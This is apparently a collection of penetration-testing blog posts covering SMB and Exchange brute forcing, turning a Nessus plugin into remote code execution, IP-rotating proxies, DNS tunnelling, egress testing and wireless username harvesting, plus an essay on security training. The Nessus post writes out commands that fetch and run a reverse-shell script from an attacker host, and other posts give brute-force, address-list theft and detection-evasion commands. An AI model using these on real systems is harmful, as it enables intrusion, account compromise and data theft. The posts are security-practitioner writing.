Invoke-SMBAutoBrute.ps1 - Smart SMB Brute Forcing

Intro

One of my favorite post-ex metasploit modules is smb_login. It's great for running a quick test using credentials you've discovered. One of the problems with it is that there is nothing that prevents you from locking out accounts. Plus, you have to create user list which means dumping users | cut | sed | awk, blah blah blah. (Update: Thanks to @ztgrace for bringing me up to speed on the MaxGuessesPerUser advanced property of smb_login.)

I wanted something that did all this work for me that would just take a password list and be smart enough to handle all the logistics, plus I wanted it in PowerShell for obvious reasons (PowerShell > Ruby. <trollygrin>). Seriously though, I'm not a Ruby dev, and every time I try, I reach gem dependency rage-level 11 in about 15 minutes. So...

Solution: Invoke-SMBAutoBrute.ps1 (github)

• PowerShell Version Required: 2+

The autobrute script has a few features built in making it handy for the pentester who needs creds & is short on time.

Parameters

The script receives the following parameters:

UserList

A simple text file that exists on target containing users to brute (one per line). If no list is passed, query the domain for a list of users whose badPwdCount attribute is two less than the domain account lockout threshold. Wrap paths in double quotes.

A comma separated list of passwords to try. Even if the Lockout Threshold is 3 attempts, pass in 10 passwords or so. The script will grab safe users to brute every password run. Wrap list in double quotes.

LockoutThreshold (Required)

The lockout threshold of the domain. Run "net accounts" on the target, grab the Lockout Threshold value and use that.

Delay

The number of milliseconds to wait between each attempt. Handy if your connection is slow, otherwise you could get odd errors. Default 100.

ShowVerbose

By default, only successes are shown. Specifying this switch will show all skipped and failed attempts. Lots of information will hit the screen. You've been warned.

StopOnSuccess

What you'd expect. After the first successful authentication, exit the script.

Workflow

The general order of the script is as follows. Assume no UserLIst was passed and the LockoutThreshold was set to 5.

1. Perform prereq checks. Be sure you can locate the PDC, etc
1. Retrieve a list of enabled users from the domain (PDC specifically) whose badPwdCount attribute is <=3. The reason for this is is that we want all users who could not be locked out during this attempt. It is possible that a user could fat finger a password during the brute, locking their account. Unlikely, but possible.
2. For each user retrieved:
1. Check their badPwdCount attribute against all DCs and use the highest value. The reason this is done is the badPwdCount attribute is not replicated (source). If the highest value is greater than one less than the lockout threshold, do not test the account.
2. If the account is safe to test, test the password against the PDC. If successful add the user to a valid users list (and never test this user again). Throw the result to the screen.

Risks: Regardless of the safety checks built in to the script, it is possible that lockouts could still occur. Replication problems between DCs, a DC that is being rebooted during processing, users who are trying as fast as they can with bad passwords, all could cause lockouts. Always best to test before you run against your target! It's been tested in my lab against thousands of users, but that's it. We are not liable for your slow env or the accounts you lock! :-)

Quick Screenshot:

Running as a low priv account.

Note: If you get LDAP server unavailable errors, you might be bruting too fast. Try setting the Delay param to 500 or so.

Defense

As with any brute force attack, your logs (specifically the PDC Security Event log) will be filled with failures. This script will actually load up the logs of all DCs as each user is checked against each DC for their badPwdCount attribute. We always recommend to our customers that they be setting thresholds on alerts so that if X events fire in X seconds, you are alerted. The security event log will contain the source IP of the authentication attempt. That's your compromised machine.

Really sneaky pentesters could set the Delay to 1000+ and just let it run overnight. </evilgrin>

Comments are welcome, but please use github for any questions/bugs. Our scripts repo is here.

@curi0usJack

PS - An Empire pull request has been submitted. Keep a look out for situational_awareness/network/smbautobrute. :-)

Weaponizing Nessus

Once in a blue moon we come across a client that has truly done security right (or at least, tried really hard to do so). All the low hanging fruit has been trimmed: Responder doesn't work, no passwords in GPP, all systems patched up to date, no Spring2016 passwords, etc. As frustrating as this is for pentesters, it forces us to level up our game.

This past week was one of those times where we had to fight for every inch (OSCP exam anyone? =). We couldn't get any shells and were only turning up crappy SSL vulnerabilities. We fired off a Nessus scan in hopes of getting some additional information and a Java deserialization vulnerability (info here) turned up on a linux based hosted, listening on tcp/40002.

Excited, we fired up metasploit and let 'er fly:

Hooray. :-(

Disappointed, I began to search for a manual exploit, but something in the Nessus report stood out to me:

That's some pretty specific text. Made me wonder what exactly Nessus was doing to make such a definitive statement. If Nessus was able actually launch the exploit and get back some sort of feedback, then maybe I could modify the .nasl to suite my own purposes.

I took a look at /opt/nessus/lib/nessus/plugins/opennms_java_serialize.nasl and found something interesting:

Well lookey what we have here....

Outstanding! Nessus was actually exploiting the vulnerability to fire a ping command back at the Nessus box with the plugin ID in the ping buffer. All I had to was modify the payload to run other commands and launch. Fortunately, you can fire single .nasl scripts using /opt/nessus/bin/nasl command along with the -t <TARGETIP> switch.

I performed the following steps:

1. Copied the .nasl file
2. Adjusted the nasl command to be: curl http://myattackbox
3. Stood up a listener: nc -nlvp 80
4. Fired the script against my target: /opt/nessus/bin/nasl /opt/nessus/lib/nessus/deserialize-custom.nasl -t TARGETIP
5. Crossed my fingers. =)

It took a moment, but finally:

Nice.

Now that I had confirmed RCE, I decided to step it up a few. I grabbed a python reverse shell one liner from pentest monkey (here) and put it into /var/www/cmd.sh. I then created three copies of the .nasl script for three different commands (yes, I know there are better & more efficient ways of doing this, but I was feeling lazy) and started apache. Each script performed one of the following three commands (in order):

1. $wget http://myip/cmd.sh -O /tmp/cmd.sh 2.$ chmod +x /tmp/cmd.sh
3. $/tmp/cmd.sh I then crossed my fingers & fired.... Yuuuuuus! After some research, we learned we were on a VMware vRealize appliance as the low privilege user horizon. We ran multiple privesc discovery utilities and found nothing. All files were sufficiently locked down to root. Kernel was reasonably up to date & no exploits were found. I couldn't sudo to another id, much less root. Bash history == empty. I was beginning to despair as we had dozens more systems to test and I had already burned several hours on this, but we still didn't have a solid foothold into the environment. I was preparing to move on when a coworker suggested that we check to see if the horizon user can sudo run any applications.... Uhhhh...... It wasn't possible. Surely we couldn't sudo run this "diagnosticCommandExecutor.hzn" with another command..... or could we.... OMG VMWARE NOOOOOOOOOOO No doubt a well meaning engineer put this there for troubleshooting purposes, and we were only to happy to use this "feature" to pwn... er..."troubleshoot" the system. A few tweaks to our script and: Bob's your uncle. Though I doubt VMware will remove the ability of the horizon user to sudo run any command via diagnosticCommandExecutor.hzn, they did issue a patch for the Java deserialization vuln (here) Huge thanks to my buddy Steve (@jarsnah12) for lending his ability to linux hard! Until next time! @curi0usJack Update to ProxyCannon ProxyCannon, which can be found here, has undergone some revisions since our initial release and as a result, there's some new features we'd like to introduce. Cleaner User Interface. We've cleaned up the number of arguments required to run the app from 6 to 3. Now you only need to specify the AMI KEY, AMI ID, and the number instances you'd like start. You can still specify images size, type, etc, we just set the most cost effective options as default. New Options So if you're familiar with the older version of createProxy, you'll notice we've added new options. • The -v option provides verbose debug output, specifically used for troubleshooting issues. • The -i option was added to let the user specify which interface should be used for establishing outbound connections. Useful if your client is on a mac, or has multiple nic's. • The -l option will log all assigned IP's to a file for record keeping • The -r switch rotate IP's Rotate IP?! So even by sending your Nessus scans across 10 Amazon EC2 hosts an IPS can still detect and shun one of your exit nodes. To deal with this, we've added the -r feature which will automatically rotate the public IP address of every exit node. Let say for example you fire up proxy cannon with 10 nodes and add the -r switch. The first thing the script will do is build the egress nodes, tunnels, iptables and routes like normal. Next the script will choose one node (at random) and alter the local route table to make that it appear less appealing than the other 9. As a result, all new outbound TCP/UDP/ICMP packets will be traverse the remaining 9 nodes evenly all the while allowing any existing session data on the chosen node time to finish receiving its data. The script will then monitor the network state table for the chosen node. Once it identifies that the node is idle (i.e. no half open TCP/UDP/ICMP packets), proxyCannon tells Amazon to re-assign the nodes WAN IP. Next ProxyCannon will reprovision the host and add it back into the general pool of 10 nodes, and move onto the next. On average, regardless of the number of exit nodes provisioned, proxyCannon will change its exit nodes IP's about 30 times in one hour without dropping / breaking a single session! Rotate Nodes (-r) in action. You'll note a few AWS API timeouts. Proxy Cannon will now attempt to recover its state automatically without immediately giving up. Save iptables state ProxyCannon makes use of iptables to do its natting. In the past, if you ran it, your previous iptables state (if any) was lost. With this update, your previous iptable state will be saved before running, and restored when finished. Better Signal handling We've added better (not perfect) signal handling, so that if/when an issue arises, ProxyCannon will attempt to cleanup up gracefully, restoring your system to its previous state. WAN IP Logging If you ever want to know what WAN IP's your traffic took you can use the -l switch to record a log to the /tmp directory. Conclusion Take a look and try it out. If you run into any problems please submit an issue to github. @jarsnah12 VPN over DNS Overview For some time now, we've been using DNSCat as a means to covertly transmit data during engagements where clients IDS's or Firewalls might otherwise block us. The DNS protocol is often overlooked by system's administrators and as a result this tool has been immensely useful. And while there are a other DNS tunneling solutions out there, this is the only one, to our knowledge, that supports 1) encryption 2) a centralized server for simple management 3) Command queuing. 4) Is free. The one thing it does not support, is the ability to tunnel network traffic, from the client to the server. The Goal What if we could setup a bi-directional vpn across dns that would allow all protocols, not just TCP? This sort of thing is great for situation where you're at an Airport, Hotel, or some other captive portal situation where DNS resolves, but everything else is blocked. This is also great for penetration testers who want to route/tunnel traffic through system that has been compromised. And while DNSCat does support tunneling of TCP traffic, its unidirectional. i.e. From the server to the client only (Similar to SSH -L) The Work Around Ron (Primary author of DNScat) has mentioned that he intends to build in this feature at some point but for now, lets see if we can hack our way into getting what we want. To do this we need the following: Domain For this setup, you will need to register a domain to use. As an example we use mooo.com from freedns.afraid.org. Note that we only care about the NS record which points to our server running the DNScat server software. Server On the server side we need to setup a few things. First is to setup ssh keys: ssh-keygen Next, we enable routing on the server: echo 1 > /proc/sys/net/ipv4/ip_forward Next we run we run the DNSCat Server. Lets go through some of the switches we used: • The -c switch is the preshared crypto key we want to use between the client and the server. This is optional, since we're going to be running a vpn across this, but why not add the extra layer of encryption. • The -u switch tells the server to automatically attach to each inbound dnscat client session. • The -a switch tells the server that we want to automatically run the following command on each new session. As per the documentation, the 'listen' command will establish a tunnel between the server and the client where on the server a listening socket is created on port 2222 and all connections are forwarded to the client to 127.0.0.1:22. This could easily be changed to forward browser traffic to www.google.com by changing it to read 'listen 127.0.0.1:8080 www.google.com:80'. After the server is started, we switch to the client. Client We wont go into to details on how to compile the client, you can find those instructions on the github/readme page. However for this to work, we compile the client and run it locally as root. But before we do that we need to make some modifications to the sshd config. Three changes need to be made to the standard sshd_config 1. Comment out 'PermitRootLogin without-password' 2. Add 'PermitRootLogin yes' 3. Add 'PermitTunnel yes' Next restart the service and enable IP routing # /etc/init.d/ssh restart # echo 1 > /proc/sys/net/ipv4/ip_forward Once forwarding is enabled, we can connect our client to the server. We can see that the session has been established, and on the server we see the following: Next step is to push our keys from the server to the client. To do this, on the server run the following command: scp /root/.ssh/id_rsa.pub root@127.0.0.1:/root/.ssh/authorized_keys -P 2222  Note, when being prompted for creds, this is the root password on the client machine. Once the server ssh key has been pushed to the client. Now establish a SSH based vpn tunnel (-w) from the server to the client. ssh -i /root/.ssh/id_rsa root@127.0.0.1 -p 2222 -w 1:1 -o TCPKeepAlive=yes -o ServerAliveInterval=50 & If successful, you should now have an interface tun1 on both the client and the server. On both machines you'll need to provision IP's, Routes and IPTables for natting. On Server ifconfig tun1 address 172.16.254.2 netmask 255.255.255.252 ifconfig tun1 up route add [client network]/[netmask] via 172.16.254.1 dev tun1 iptables -t nat -A POSTROUTING -o tun1 -j MASQUERADE On client (via SSH): ssh -i /root/.ssh/id_rsa root@127.0.0.1 -p 2222 'ifconfig tun1 address 172.16.254.1 netmask 255.255.255.252' ssh -i /root/.ssh/id_rsa root@127.0.0.1 -p 2222 'ifconfig tun1 up' ssh -i /root/.ssh/id_rsa root@127.0.0.1 -p 2222 'route add [server network]/[netmask] via 172.16.254.2 dev tun1' ssh -i /root/.ssh/id_rsa root@127.0.0.1 -p 2222 'iptables -t nat -A POSTROUTING -o tun1 -j MASQUERADE' So now, traffic from the server or the client should be able to reach either sides network. If you want to forward all traffic out, you could even put in a default route. Final Thoughts This solution, while effective, is slow. Not to mention, this will only work on *nix systems. But on the plus side, all TCP, UDP and ICMP traffic is properly routed across the tunnel allowing for such things as full port scans and streaming Netflix. @jarsnah12 Websocket based egress buster Problem It is common during a penetration test that a tester may run into the problem of figuring out which ports and maybe even which protocols are allowed out of an environment. This is due to the need for a payload to successfully establish command and control. With the adoption of layer 7 inspection for firewalls and the slow adoption of proper egress filtering, this problem will only get more prevalent. Possible Solution (<-- click if you don't want to read) Seeing as most browsers now support websockets, I set out to create a simple client/server setup that would be able to test the most common ports. The tool would consist of a python based server and simple javascript to include with any webpage that would cycle thru connection attempts via websockets on an array of ports. Upon further investigation I found why no tool already existed to do what I was trying to accomplish. As I started to piece together some python based on the RFCs I could find, I found that someone else had already done it better than I (https://gist.github.com/rich20bb/4190781). Taking this code as a starting point I soon had a multi-threaded websocket server that listened on ports 21,22,23,53,3389 and 8080. I worked up some javascript to test it and found this: This basically meant that browsers blocked most interesting ports and the ones that I wanted to know about. Somewhat frustrated at this point I continued to search for a solution. I then began digging into what possibilities I might have by utilizing Flash. While finding the use of flash sockets as a possibility, I reluctantly accepted this as a dependency and continued on. What I came up with is much less elegant than I had hoped, but what you do is setup a server to listen to ports of interest. Then you setup some javascript which will invoke websocket requests to the server on those various ports. For this you can use egress_serve.py like this: In its current form the the egress server requires connectivity from the client on port 843 to function because of the way that Flash handles its socket security policy (see this). Once your server is setup you need to host a couple files on a web server (WebSocketMain.swf, egress_test.js, swfobject.js, web_socket.js, egress.html). Then in a separate directory you will need to have egress_serve.py and flashpolicy.xml. Finally you will have to place the public ip that you are using for your egress server into the egress_test.js file like so: It is also important to note that you should ensure that your firewall for the egress server allows the ports through that you wish to test, because of this I highly suggest using an AWS, Azure, or some other virtual private server for this purpose. Also do not host any sensitive data on the server that is running this. Once things are all in place have your target browse to the egress.html page. On your egress server it should look like this: This utility is valuable if you need to quickly gather possible egress ports available from a network that you are currently on, such as in an audit context. But it is also useful for a pretext to a social engineering attack where you need to ensure your payload will successfully communicate out and establish command and control. For example, many companies have online chat where you can talk to a representative. Simply engage the customer service rep in a way that will get them to load the page, and you should have good intel into what ports are allowed out. Enjoy! Abusing Exchange Web Service - Part 1 Outlook Web Access (OWA) has been one of the consistently viable attack vectors for pentesters and bad guys alike for many years. Frequently, an attacker will obtain valid credentials by brute forcing OWA portals exposed to the internet. Once credentials are obtained an attacker can then access the target network via any other single factor authentication portals that may also be exposed (Citrix, VPN, or *gulp* RDP). After using multiple brute force tools I began to see some false negatives, so I decided to dive into writing my own tool. I found that many installations of Exchange provide an API through the Exchange Web Service (EWS) and wrote a set of modules to take advantage of that. The EWS is a convenient API exposed to allow programatic access to someones mailbox and some Exchange functionality (Thanks Microsoft!). To get started using these modules you have to install the Exchange Web Service API (here). Once that is installed get a copy of the OWA-Toolkit from here. Then import the module like so: Import-module C:\path\to\OWA-Toolkit.psm1 Once you have the module imported you should be able to see what cmdlets it includes: Decide if you want to brute using user ids or full email addresses and then compile a list of targets. The list should just be a txt file that has one user per line. Then you can invoke Brute-EWS like so (if you want to brute with emails include the Domain parameter): Brute-EWS -TargetList .\userids.txt -ExchangeVersion 2007_SP1 -ewsPath "https://webmail.yourdomain.com/EWS/Exchange.asmx" -Password "omg123" -Domain "yourdomain.com" If you so chose you can also pass the UserAsPass parameter to attempt authentication with the userid passed as the password. Once valid credentials are obtained it is common to take the Global Address List (GAL) to use for additional brute forcing or social engineering. This was usually a painful process forcing OWA to load all the addresses while I was proxying it through Burp. So, utilizing the EWS I decided to write a script to take the GAL. To use the Steal-GAL cmdlet you can invoke it like so: Steal-GAL -Password "littlejohnny" -User "dbetty" -domain "yourdomain.com" -ExchangeVersion 2007_SP1 You can also pipe an exchService object to this cmdlet like so: OTK-Init -Password "littlejohnny" -User "dbetty" -Domain "yourdomain.com" -ExchangeVersion 2007_SP1 | Steal-GAL The output is designed to be piped to an output method of your choice; the easiest way I have found is to just add "| export-csv -Path .\gal.csv" to your command. Please provide any feedback or issues you might have to Github. Thanks. Why Security Awareness Training Fails First, let's talk about what "failure" is and is not in the context of Security Awareness Training (SAT). Failure is not when a company gets breached due to social engineering. Wait, what?? All the outstanding training in the world does not guarantee that an individual will follow it when the moment of testing occurs. Soldiers are trained to highest levels to deal with the stress and trauma of battle, but still come back scarred, having likely made mistakes in spite of their training. Security Awareness Training "failure" is when a user is left without the knowledge to act appropriately in a given situation. In other words, when they haven't been properly prepared to handle phishing emails and voice based scams or choose a strong password, SAT has failed them. The user clicking on the phishing link is just the end result of this failure. I submit that SAT failure occurs for (at least) three reasons: 1) Training does not reflect real life security encounters. I am sick to death of training courses telling users that they should watch out for misspellings and grammar mistakes in the email body, as if phishers don't have access to Word's spell/grammar check. While its certainly true that phishing emails can and do originate from these places, the user is actually provided a false sense of security if that is their sole basis for detection. What if your company employs or works with individuals whose first language isn't English? End users will receive legitimate emails with spelling/grammar mistakes and their training will be for nothing. Trainer tip: If you want to talk about misspellings, forget the body of the email and focus on the sender's domain! That's more of an effective phishing mitigation technique than looking for misspellings in a paragraph will ever be. Additionally, how often have we heard to choose a "secure" password like "7Jkw8$hQ"? Look at that thing. Covers all the complexity rules, meets the minimum 8 character corporate standard, a true thing of beauty...

:-(

Trainers say this because they've never cracked a password hash in their whole career and don't know any better (See #2). With our cracking rig, that would take about 2 seconds to crack (NTLMv1 that is. About an hour for NTLMv2).

Trainer Tip: Emphasize length over complexity, every time. "this here password is fantastic" is much stronger than an 8 character complex password and is way easier to type!

Good SAT has to be thoroughly relevant and a bit scary. Users must understand the consequences of clicking that link or opening that attachment. It's not good enough to simply say "don't do this", they must come to understand why. If they cannot link their improper action with a loss of company data in vivid, graphic detail, you aren't doing your job.

2) Instructor does not have the right experience to be effective.

The best instruction I've ever received, security-wise or other, has been from those who have been there - actually doing the work. They aren't professional trainers. They are simply experts in their field because they've spent years actually doing the things they are training about. When you go on YouTube to learn how to replace a toilet, do you find 17 year old Billy's video and follow that, or do you find some crusty graybeard who's been plumbing his whole life? That's not to say good trainers can't be young, it just means they must be *experienced*.

Let me emphasize this: the WORST thing you can do for your org is to simply relegate your SAT to computer based training. Forcing a user to watch some lame video of a "hacker" so they can click Next as fast as possible before guessing the painfully obvious quiz answers is an egregious waste of company resources, not to mention people's lives.

Real hackers use The Force!

Do you company's data a favor, pay for high quality live training that will make an impression and get your users talking about security! Fostering a culture of security in your enterprise is one of the best things you can do for your organization's security posture.

3) Training is boring.

This is a personal pet peeve of mine. How often have we watched someone with awesome content who simply could not deliver it well. I'm not talking about people who are nervous during their presentation. That's certainly understandable. I'm talking about people who deliver in a bland, monotone, and otherwise horrible way - devoid of anything close to resembling emotion

At this point on the revenue curve, you will get exactly the same amount of revenue as this point....

Information Security is one of the most interesting fields in existence today, and one need not look far for stories that will not only make you laugh (or cry), but will also drive home the points you need to make as a trainer.

Trainer Tip: Learn how to tell a good story. Practice in the mirror if you have to, but do not settle for mediocrity. Your training should be engaging and memorable, and when it comes to Information Security, nothing beats a good story! Don't know how to do that? Start here. Then here

Pro Trainer Tip: Tell stories about your failures. When people observe you as a human, not an "expert", you will connect with them immediately and have their complete attention.

Final Thoughts

If you want to deliver solid infosec training, you must focus on the right things, have the experience to back it up, and be able to connect to your audience. Miss any one of these three and the quality of your training will suffer. Put up screenshots of real phishing emails, do a quick demo of what a compromise looks like, tell your audience how you failed then succeeded, and people will connect with you not only as an expert, but also as one who is in the trenches with them. There is no better place to be as a trainer.

But I'm just organizing the training for my company!

Hire a pentester! They will (hopefully) know their stuff and have the experience to back it up. Have a quick call with them to make sure they don't bore you to tears, and off you go. Don't know who to hire? Call me biased, but I think these guys are pretty good. :-)

@curi0usJack

Assisted directory brute forcing

Very frequently during a web application assessment a pentester may begin by fingerprinting what web frameworks and libraries are used by a given application.  Possibly by running a tool such as blindelephant or whatweb.  Commonly though the tester may just notice a unique identifier in the web traffic or URL.  Consider the following:

So simply looking thru the initial page you can generally see unique items that will reveal various frameworks or CMSs.  Alternatively, you could find various unique pieces of the web application because of your initial OSINT or recon.  Like this (except your should append site:<target domain> to the search):

So what does that have to do with anything?  Well, one of my favorite web vulnerabilities is weak permissions on sensitive files.  Think of things like phpMyAdmin, TinyMCE, or FCKeditor etc.  Web servers are very rarely setup correctly, and misconfiguration will most likely lead to compromise or at least information leakage.  I found myself taking the unique indicators within web applications and searching for the projects on Github.  Once I located the github project I was taking the git repo to create a directory and file list for brute forcing later.  I believe in automating anything I have to do manually more than five times.  So that is what I did.  You can find the python script here.

Run the script like this:

Once done use the output file with your favorite directory brute forcing tool.  I like dirs3arch, so for that tool it would look like this:

I have found this technique very useful, hopefully you do as well.  In the future I intend to code the functionality into a full featured directory brute forcing tool such as dirs3arch, goBuster, or dirb.

crEAP - Harvesting Users on Enterprise Wireless Networks

With the demands of a mobile workforce, wireless networks in enterprise environments are quite common.  Typically, enterprise wireless networks employ WPA-Enterprise security features, which removes the need for preshared keys (WPA2-PSK) that float around between employees creating security concerns of sharing or unauthorized access upon termination, etc.

These WPA-Enterprise (802.1x) wireless networks often make use of protocols known as Extensible Authentication Protocol (EAP) types.  Here is a quick breakdown of commonly seen EAP types including some pros/cons:

• EAP-LEAP - Cisco proprietary using MS-CHAP, considered weak.
• EAP-MD5 - Usernames sent in clear, weak MD5 Challenge/Response prone to cracking.
• EAP-PEAP - Most common EAP type, identity sent in clear, handshake secured via TLS.
• EAP-TLS - End-to-end encryption, secure, administrative burden.  Client certificates.

Knowing that a large percentage of enterprise wireless networks deploy EAP types other than EAP-TLS (due to the administrative burden of managing client certificates), we can leverage known weaknesses in EAP types to harvest valuable information.  This information can include usernames, certificates, and weak challenge/response hash functions that can be cracked.  While these EAP weaknesses are nothing new, I struggled to find a tool to help penetration testers quickly identify EAP types and weaknesses.  This is where the idea for crEAP came from.

Introducing crEAP

There are plenty of wireless assessment utilities that exist such as Kismet, Wifite, etc.  These all do a great job of identifying WPA-Enterprise mode networks and authentication protocols such as TKIP/CCMP, but do not give details regarding the EAP type.  In the past, a tester would have to obtain PCAPs for each network and sift through them to extract useful information.  This was a burden on engagements with multiple networks within scope.  We sought a utility to help automate identifying WPA EAP types and insecurities.  This lead us to the development of crEAP.

Example:  airodump-ng displaying CIPHER and AUTH type, but no EAP information.

crEAP is a python script that will identify WPA Enterprise mode EAP types and if insecure protocols are in use, will attempt to harvest usernames and/or handshakes.  The most commonly deployed EAP types (such as EAP-PEAP) identify users in clear-text by default, which can be gold for a penetration tester looking to harvest employee lists.  The crEAP utility attempts to monitor for wireless EAPOL handshakes on the fly and extract data such as usernames and challenge/responses coming over the air.  This tool expands on eapmd5crack by running against live captures while adding support for different EAP types (such as PEAP username harvesting).

For EAP-PEAP authentication, once the client identifies, the remainder of the authentication is encrypted via a TLS tunnel.  Our simplistic use case is for red or blue teams to run crEAP and passively harvest usernames over the airwaves.  This script doesn't attempt to replace the rogue radius server attacks, rather we're interested in simply  filling the void of passively identifying EAP types and harvesting users.

Remediation:  Some wireless clients offer 'Enable Identify Privacy' under advanced Protected EAP options.  This setting provides an anonymous username during the unencrypted phase 1 negotiation of PEAP, then once the TLS tunnel is built, securely identifies with the username.  This modification would thwart an attacker's ability to harvest clients that have this enabled.